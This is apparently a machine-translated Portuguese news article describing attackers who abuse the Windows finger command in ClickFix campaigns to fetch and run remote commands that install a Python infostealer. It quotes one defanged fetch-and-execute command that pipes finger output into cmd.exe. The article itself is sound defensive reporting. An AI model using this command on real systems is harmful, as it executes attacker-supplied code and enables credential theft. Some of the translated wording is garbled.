O comando “finger” de décadas atrás está voltando, com atores ameaçadores usando o protocolo para recuperar comandos remotos para serem executados em dispositivos Windows.
No passado, as pessoas usavam o Comando do dedo para buscar informações sobre usuários locais e remotos em sistemas Unix e Linux via o protocolo Finger, um comando posteriormente adicionado ao Windows. Embora ainda seja suportado, raramente é usado hoje em comparação com sua popularidade há décadas.
Quando executado, o comando finger retorna informações básicas sobre o usuário, incluindo seu nome de login, nome (se ativado em /etc/passwd), diretório inicial, números de telefone, último visto e outros detalhes.
pesquisadores alertaram em 2020 que ele foi usado como um LOLBIN para baixar malware e evitar detecção.
Abusando do comando do dedo
No mês passado, pesquisador de cibersegurança MalwareHunterTeam compartilhou um arquivo batch [VirusTotal] com BleepingComputer que, quando executado, usaria o “finger [emailprotected][.]com” para recuperar comandos de um servidor finger remoto, que eram então executados localmente por canalização por cmd.exe.
Post no Reddit.
“Eu estava com pressa, caí nessa e acabei inserindo o seguinte no meu comando de comandamento:”
“cmd /c iniciar “” /min cmd /c “dedo [emailprotected][.]org | cmd” && echo’ Verifique se você é humano–pressione ENTER’”
Embora o host não responda mais a pedidos de digitação, outro usuário do Reddit foi capturadoA saída.
Esse ataque abusa do protocolo Finger como método remoto de entrega de scripts, executando finger [emailprotected][.]org e direcionando sua saída pelo processador de comandos do Windows, cmd.exe.
Isso faz com que os comandos recuperados sejam executados, criando um caminho nomeado aleatoriamente, copiando curl.exe para um nome de arquivo aleatório, usando o executável curl renomeado para baixar um arquivo zip disfarçado de PDF [VirusTotal] Do Cloudmega[.]org, e extrai um pacote de malware em Python.
Não está claro qual é o propósito do pacote Python, mas um Arquivo lote relacionado indica que era um infostealer.
O MalwareHunterTeam também encontrou uma campanha semelhante que usa “finger [emailprotected] | cmd” para recuperar e executar comandos quase idênticos ao ataque ClickFix mencionado anteriormente.
7 Melhores Práticas de Segurança para MCP
À medida que o MCP (Model Context Protocol) se torna o padrão para conectar LLMs a ferramentas e dados, as equipes de segurança estão avançando rapidamente para manter esses novos serviços seguros.
Esta folha de dicas gratuita apresenta 7 melhores práticas que você pode começar a usar hoje mesmo.
Lawrence Abrams
Lawrence Abrams é o proprietário e editor-chefe da BleepingComputer.com. A área de especialização de Lawrence inclui Windows, remoção de malware e informática forense. Lawrence Abrams é coautor do Winternals Defragmentation, Recovery, and Administration Field Guide e editor técnico do Rootkits for Dummies.